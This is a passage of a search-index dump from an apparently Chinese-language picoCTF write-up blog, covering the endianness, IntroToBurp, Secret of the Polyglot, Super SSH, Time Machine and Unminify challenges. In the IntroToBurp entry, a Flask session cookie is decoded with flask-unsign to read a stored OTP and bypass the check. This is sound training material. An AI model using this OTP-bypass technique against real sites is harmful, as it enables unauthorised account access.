style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            final_flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e true;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Incorrect Big Endian representation. Try again!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    FILE \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eflag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efopen\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;flag.txt\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (flag \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e NULL)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Flag not found. Please run this on the server\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003echar\u003c/span\u003e flag_content[\u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efgets\u003c/span\u003e(flag_content, \u003cspan style=\"color:#66d9ef\"\u003esizeof\u003c/span\u003e(flag_content), flag);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Congratulations! You found both endian representations correctly!\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eprintf\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Your Flag is: %s\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e, flag_content);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003efflush\u003c/span\u003e(stdout);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#a6e22e\"\u003eexit\u003c/span\u003e(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"endianness"},{"content":"題目連結 https://learn.cylabacademy.org/library/419\n題目解法 啟動題目後開啟 Burp Suite 並開啟他的瀏覽器，隨意註冊帳號並送出，題目會要求輸入 OTP，開啟 Brup Suite 的 Proxy 頁面並啟動 intercept。隨意送出一個 otp 後查看攔截到的請求，會有一段 Cookie: session。 Cookie: session=.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos 這個是 Flask Session Cookie 的格式，主要分成三段資料，依序是內容物 (Payload)、時間戳 (Timestamp)、簽章 (Signature)，假設是 e 開頭的可以直接使用 base64 解碼，假設是使用 .e 開頭代表有壓縮過，要透過 flask-unsign 才可以解碼。\n$ flask-unsign --decode --cookie \u0026#34;.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos\u0026#34; {\u0026#39;city\u0026#39;: \u0026#39;NY\u0026#39;, \u0026#39;csrf_token\u0026#39;: \u0026#39;9d5c43db8449e0874addcb916a35bb3a59978f69\u0026#39;, \u0026#39;full_name\u0026#39;: \u0026#39;admin\u0026#39;, \u0026#39;otp\u0026#39;: \u0026#39;895845\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;password\u0026#39;, \u0026#39;phone_number\u0026#39;: \u0026#39;0123456789\u0026#39;, \u0026#39;username\u0026#39;: \u0026#39;admin\u0026#39;} 解碼後可以發現 'otp': '895845'，將請求修改成 otp=895845 送出即可得到 flag。 picoCTF{#0T----------------------d21} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/introtoburp/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/419\"\u003ehttps://learn.cylabacademy.org/library/419\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e啟動題目後開啟 Burp Suite 並開啟他的瀏覽器，隨意註冊帳號並送出，題目會要求輸入 OTP，開啟 Brup Suite 的 Proxy 頁面並啟動 intercept。隨意送出一個 otp 後查看攔截到的請求，會有一段 \u003ccode\u003eCookie: session\u003c/code\u003e。\n\u003cimg alt=\"brupsuite\" loading=\"lazy\" src=\"/posts/web-exploitation/introtoburp/brupsuite.webp\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eCookie: session=.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e這個是 Flask Session Cookie 的格式，主要分成三段資料，依序是\u003cstrong\u003e內容物 (Payload)、時間戳 (Timestamp)、簽章 (Signature)\u003c/strong\u003e，假設是 \u003ccode\u003ee\u003c/code\u003e 開頭的可以直接使用 base64 解碼，假設是使用 \u003ccode\u003e.e\u003c/code\u003e 開頭代表有壓縮過，要透過 \u003ccode\u003eflask-unsign\u003c/code\u003e 才可以解碼。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ flask-unsign --decode --cookie \u0026#34;.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos\u0026#34;\n{\u0026#39;city\u0026#39;: \u0026#39;NY\u0026#39;, \u0026#39;csrf_token\u0026#39;: \u0026#39;9d5c43db8449e0874addcb916a35bb3a59978f69\u0026#39;, \u0026#39;full_name\u0026#39;: \u0026#39;admin\u0026#39;, \u0026#39;otp\u0026#39;: \u0026#39;895845\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;password\u0026#39;, \u0026#39;phone_number\u0026#39;: \u0026#39;0123456789\u0026#39;, \u0026#39;username\u0026#39;: \u0026#39;admin\u0026#39;}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e解碼後可以發現 \u003ccode\u003e'otp': '895845'\u003c/code\u003e，將請求修改成 \u003ccode\u003eotp=895845\u003c/code\u003e 送出即可得到 flag。\n\u003cimg alt=\"flag\" loading=\"lazy\" src=\"/posts/web-exploitation/introtoburp/flag.webp\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{#0T----------------------d21}\n\u003c/code\u003e\u003c/pre\u003e","title":"IntroToBurp"},{"content":"題目連結 https://learn.cylabacademy.org/library/423\n題目解法 下載題目的檔案後發現是一個 .pdf 檔，打開後有後半段 flag\n1n_---------------5c0} 根據提示可以知道要以不同方式打開檔案，用十六進位編輯器打開可以發現開頭是 PNG。\n00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 0032 0000 0032 0806 0000 001e 3f88 ...2...2......?. 00000020: b100 0001 8569 4343 5049 4343 2070 726f .....iCCPICC pro 00000030: 6669 6c65 0000 2891 7d91 3d48 c340 1cc5 file..(.}.=H.@.. 00000040: 5f53 a5a2 1511 3b88 0866 a80e 6241 54c4 _S....;..f..bAT. 將附檔名改成 .png 即可以圖片方式打開，得到前半段 flag。 picoCTF{f1u3n7_ picoCTF{f1u----------------------5c0} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/forensics/secret-of-the-polyglot/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/423\"\u003ehttps://learn.cylabacademy.org/library/423\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載題目的檔案後發現是一個 \u003ccode\u003e.pdf\u003c/code\u003e 檔，打開後有後半段 flag\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e1n_---------------5c0}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e根據提示可以知道要以不同方式打開檔案，用十六進位編輯器打開可以發現開頭是 \u003ccode\u003ePNG\u003c/code\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n00000010: 0000 0032 0000 0032 0806 0000 001e 3f88  ...2...2......?.\n00000020: b100 0001 8569 4343 5049 4343 2070 726f  .....iCCPICC pro\n00000030: 6669 6c65 0000 2891 7d91 3d48 c340 1cc5  file..(.}.=H.@..\n00000040: 5f53 a5a2 1511 3b88 0866 a80e 6241 54c4  _S....;..f..bAT.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e將附檔名改成 \u003ccode\u003e.png\u003c/code\u003e 即可以圖片方式打開，得到前半段 flag。\n\u003cimg alt=\"flag\" loading=\"lazy\" src=\"/posts/forensics/secret-of-the-polyglot/flag2of2-final.png\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{f1u3n7_\n\u003c/code\u003e\u003c/pre\u003e\u003cpre tabindex=\"0\"\u003e\u003ccode\u003epicoCTF{f1u----------------------5c0}\n\u003c/code\u003e\u003c/pre\u003e","title":"Secret of the Polyglot"},{"content":"題目連結 https://learn.cylabacademy.org/library/424\n題目解法 這題題目是 ssh 的基礎教學，指令用法如下\nssh -p \u0026lt;port\u0026gt; \u0026lt;username\u0026gt;@\u0026lt;host\u0026gt; ssh -p 52938 ctf-player@titan.picoctf.net 第一次連接後為了避免中間人攻擊，會確認 fingerprint，要輸入 yes 確認。\n接著輸入密碼，輸入密碼時不會顯示任何內容，輸入完畢後按下 enter 即可連線。\n$ ssh -p 52938 ctf-player@titan.picoctf.net The authenticity of host \u0026#39;[titan.picoctf.net]:52938 ([3.139.174.234]:52938)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;[titan.picoctf.net]:52938\u0026#39; (ED25519) to the list of known hosts. ctf-player@titan.picoctf.net\u0026#39;s password: Welcome ctf-player, here\u0026#39;s your flag: picoCTF{s3c--------------------462} Connection to titan.picoctf.net closed. ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/super-ssh/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/424\"\u003ehttps://learn.cylabacademy.org/library/424\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e這題題目是 ssh 的基礎教學，指令用法如下\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003essh -p \u0026lt;port\u0026gt; \u0026lt;username\u0026gt;@\u0026lt;host\u0026gt;\nssh -p 52938 ctf-player@titan.picoctf.net\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e第一次連接後為了避免中間人攻擊，會確認 fingerprint，要輸入 \u003ccode\u003eyes\u003c/code\u003e 確認。\u003cbr\u003e\n接著輸入密碼，輸入密碼時不會顯示任何內容，輸入完畢後按下 enter 即可連線。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ ssh -p 52938 ctf-player@titan.picoctf.net \nThe authenticity of host \u0026#39;[titan.picoctf.net]:52938 ([3.139.174.234]:52938)\u0026#39; can\u0026#39;t be established.\nED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes/no/[fingerprint])? yes\nWarning: Permanently added \u0026#39;[titan.picoctf.net]:52938\u0026#39; (ED25519) to the list of known hosts.\nctf-player@titan.picoctf.net\u0026#39;s password: \nWelcome ctf-player, here\u0026#39;s your flag: picoCTF{s3c--------------------462}\nConnection to titan.picoctf.net closed.\n\u003c/code\u003e\u003c/pre\u003e","title":"Super SSH"},{"content":"題目連結 https://learn.cylabacademy.org/library/425\n題目解法 下載並解壓縮後進入該目錄。\n使用 git log 指令可以查看 commit 紀錄，而 flag 就寫在最新的 commit message 中。\n$ git log --oneline 712314f (HEAD -\u0026gt; master) picoCTF{t1m--------------b3a} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/time-machine/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/425\"\u003ehttps://learn.cylabacademy.org/library/425\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載並解壓縮後進入該目錄。\u003cbr\u003e\n使用 \u003ccode\u003egit log\u003c/code\u003e 指令可以查看 commit 紀錄，而 flag 就寫在最新的 commit message 中。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ git log --oneline\n712314f (HEAD -\u0026gt; master) picoCTF{t1m--------------b3a}\n\u003c/code\u003e\u003c/pre\u003e","title":"Time Machine"},{"content":"題目連結 https://learn.cylabacademy.org/library/427\n題目解法 開啟網站後，按下 Ctrl + u 即可查看網頁原始碼，內容如下\n1 2 \u0026lt;!doctype html\u0026gt;\u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt;\u0026lt;head\u0026gt;\u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt;\u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width,initial-scale=1\u0026#34;\u0026gt;\u0026lt;title\u0026gt;picoCTF - picoGym | Unminify Challenge\u0026lt;/title\u0026gt;\u0026lt;link rel=\u0026#34;icon\u0026#34; type=\u0026#34;image/png\u0026#34; sizes=\u0026#34;32x32\u0026#34; href=\u0026#34;/favicon-32x32.png\u0026#34;\u0026gt;\u0026lt;style\u0026gt;body{font-family:\u0026#34;Lucida Console\u0026#34;,Monaco,monospace}h1,p{color:#000}\u0026lt;/style\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body class=\u0026#34;picoctf{}\u0026#34; style=\u0026#34;margin:0\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;picoctf{}\u0026#34; style=\u0026#34;margin:0;padding:0;background-color:#757575;display:auto;height:40%\u0026#34;\u0026gt;\u0026lt;a class=\u0026#34;picoctf{}\u0026#34; href=\u0026#34;/\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;picoctf-logo-horizontal-white.svg\u0026#34; alt=\u0026#34;picoCTF logo\u0026#34; style=\u0026#34;display:inline-block;width:160px;height:90px;padding-left:30px\u0026#34;\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;center\u0026gt;\u0026lt;br class=\u0026#34;picoctf{}\u0026#34;\u0026gt;\u0026lt;br class=\u0026#34;picoctf{}\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;picoctf{}\u0026#34; style=\u0026#34;padding-top:30px;border-radius:3%;box-shadow:0 5px 10px #0000004d;width:50%;align-self:center\u0026#34;\u0026gt;\u0026lt;img class=\u0026#34;picoctf{}\u0026#34; src=\u0026#34;hero.svg\u0026#34; alt=\u0026#34;flag art\u0026#34; style=\u0026#34;width:150px;height:150px\u0026#34;\u0026gt;\u0026lt;div class=\u0026#34;picoctf{}\u0026#34; style=\u0026#34;width:85%\u0026#34;\u0026gt;\u0026lt;h2 class=\u0026#34;picoctf{}\u0026#34;\u0026gt;Welcome to my flag distribution website!\u0026lt;/h2\u0026gt;\u0026lt;div class=\u0026#34;picoctf{}\u0026#34; style=\u0026#34;width:70%\u0026#34;\u0026gt;\u0026lt;p class=\u0026#34;picoctf{}\u0026#34;\u0026gt;If you\u0026#39;re reading this, your browser has succesfully received the flag.\u0026lt;/p\u0026gt;\u0026lt;p class=\u0026#34;picoCTF{pr3--------------82e}\u0026#34;\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;p class=\u0026#34;picoctf{}\u0026#34;\u0026gt;I just deliver flags, I don\u0026#39;t know how to read them...\u0026lt;/p\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;br class=\u0026#34;picoctf{}\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/center\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 即可找到 flag。\npicoCTF{pr3--------------82e} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/web-exploitation/unminify/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/426\"\u003ehttps://learn.cylabacademy.org/library/427\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e開啟網站後，按下 Ctrl + u 即可查看網頁原始碼，內容如下\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u0026lt;!doctype html\u0026gt;\u003c/span\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elang\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;en\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echarset\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;viewport\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003econtent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;width=device-width,initial-scale=1\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;picoCTF - picoGym | Unminify Challenge\u0026lt;/\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003elink\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erel\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;icon\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;image/png\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esizes\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;32x32\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehref\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/favicon-32x32.png\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e\u0026gt;\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e{\u003cspan style=\"color:#66d9ef\"\u003efont-family\u003c/span\u003e:\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Lucida Console\u0026#34;\u003c/span\u003e,Monaco,\u003cspan style=\"color:#66d9ef\"\u003emonospace\u003c/span\u003e}\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e{\u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e#000\u003c/span\u003e}\u0026lt;/\u003cspan style=\"color:#f92672\"\u003estyle\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;margin:0\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ediv\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estyle\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;margin:0;padding:0;background-color:#757575;display:auto;height:40%\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;picoctf{}\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehref\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;\u003cspan style=\"color:#f92672\"\u003eimg\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esrc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan 